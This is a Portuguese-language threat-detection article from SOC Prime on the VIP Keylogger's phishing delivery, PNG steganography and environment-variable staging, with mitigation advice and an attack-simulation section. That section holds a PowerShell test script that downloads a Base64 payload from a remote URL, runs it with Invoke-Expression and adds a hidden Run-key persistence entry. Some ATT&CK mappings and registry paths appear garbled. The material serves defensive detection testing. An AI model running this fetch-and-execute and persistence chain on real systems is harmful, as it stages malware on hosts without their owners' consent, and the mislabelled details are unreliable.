SOC Prime Bias: Médio

18 May 2026 19:04 UTC

VIP Keylogger e Suas Táticas de Evasão em Múltiplas Camadas

Author Photo
SOC Prime Team linkedin icon Seguir
VIP Keylogger e Suas Táticas de Evasão em Múltiplas Camadas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O VIP Keylogger é uma ameaça modular de roubo de informações entregue por meio de iscas de phishing, como alertas falsos de pagamento bancário. Sua cadeia de infecção depende de carregadores maliciosos baseados em VBS, JavaScript ou lote que usam ofuscação pesada, esteganografia em imagens PNG e abuso de variáveis de ambiente para ocultar estágios do PowerShell antes de lançar o keylogger final. Uma vez ativo, o malware captura credenciais, capturas de tela, conteúdos da área de transferência e senhas de Wi-Fi, então exfiltra os dados através de múltiplos canais de comando e controle. Os esforços de detecção devem focar em mudanças suspeitas no registro, valores incomuns de variáveis de ambiente e transições anormais da execução do script para cargas binárias.

Investigação

A Equipe de Pesquisa de Ameaças da Splunk revisou mais de 200 amostras de carregadores coletadas em março e abril de 2026, documentando seus padrões de nomenclatura, variantes de carregadores e o uso esteganográfico de arquivos PNG para entrega de carga útil. Os pesquisadores reproduziram o processo de desofuscação, identificaram o abuso da INTERNAL_DB_CACHE variável de ambiente e rastrearam a persistência até a chave de registro UserInitMprLogonScript . O relatório também mapeou cada comportamento observado para as técnicas MITRE ATT&CK relevantes para apoiar a engenharia de detecção.

Mitigação

As organizações devem interromper as tentativas iniciais de phishing por meio de controles de segurança de e-mail mais fortes e filtragem de URL. Os defensores devem monitorar a criação e modificação dos valores de HKCUEnvironment , especialmente entradas muito grandes ou uso da variável INTERNAL_DB_CACHE . A execução de carregadores baseados em scripts a partir de diretórios graváveis pelo usuário deve ser restrita, e o Modo de Linguagem Constrained do PowerShell deve ser aplicado sempre que possível. As ferramentas de segurança de endpoint também devem detectar injeção de processo em aspnet_compiler.exe e atividade suspeita de netsh .

Resposta

Se um indicador do VIP Keylogger for detectado, isole o host afetado, colete a memória volátil e os logs de execução do processo recente, e procure pelos artefatos de registro conhecidos, URLs de comando e controle baseados em PNG e arquivos descartados. Os scripts maliciosos devem ser removidos, as credenciais expostas redefinidas, e uma varredura mais ampla deve ser conduzida em todo o ambiente para artefatos relacionados a carregadores e mecanismos de persistência.

Fluxo de Ataque

Execução da Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visando gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errôneos.

  • Narrativa & Comandos do Ataque:

    1. Reconhecimento Inicial – o atacante executa Get-ADDomain (T1016.002) para descobrir relações de confiança de domínio.
    2. Aquisição de Carga Útil – usando Invoke-WebRequest (T1071.001) o atacante baixa um DLL codificado em Base64 que implementa o keylogger (T1056.001).
    3. Estágio via Variável de Ambiente – a string baixada é armazenada em uma variável de ambiente em nível de usuário por meio de [Environment]::SetEnvironmentVariable. Esta etapa satisfaz o foco da regra de detecção na manipulação de variáveis de ambiente.
    4. Execução Dinâmica – o atacante executa imediatamente a carga útil com Invoke-Expression $env:VIPPayload (T1059.001). O keylogger começa a capturar teclas digitadas, capturas de tela (T1113) e dados da área de transferência (T1115).
    5. Limpeza – após estabelecer persistência (por exemplo, criando uma chave de execução, T1037.001), o atacante exclui o DLL temporário do disco (T1070.004) e remove a variável de ambiente para reduzir as pegadas forenses.
  • Script de Teste de Regressão: O script abaixo reproduz os passos exatos e gera a telemetria que a regra Sigma espera.

    # Simulação VIP Keylogger – PowerShell
    # -------------------------------------------------
    # 1. Baixar uma carga útil fictícia (string codificada em Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Armazenar carga útil em uma variável de ambiente em nível de usuário
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Decodificar e executar a carga útil via Invoke‑Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Opcional) Persistir via chave de execução – demonstra T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Limpeza – remover a variável de ambiente e a entrada da chave de execução
    Start-Sleep -Seconds 30   # permitir que alguma atividade seja registrada
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Comandos de Limpeza: Execute estes comandos para retornar o sistema a um estado limpo após o teste.

    # Remover a variável de ambiente criada para o teste
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Excluir a entrada de persistência da chave de execução, se existir
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Limpar qualquer entrada residual do histórico do PowerShell (opcional)
    Clear-History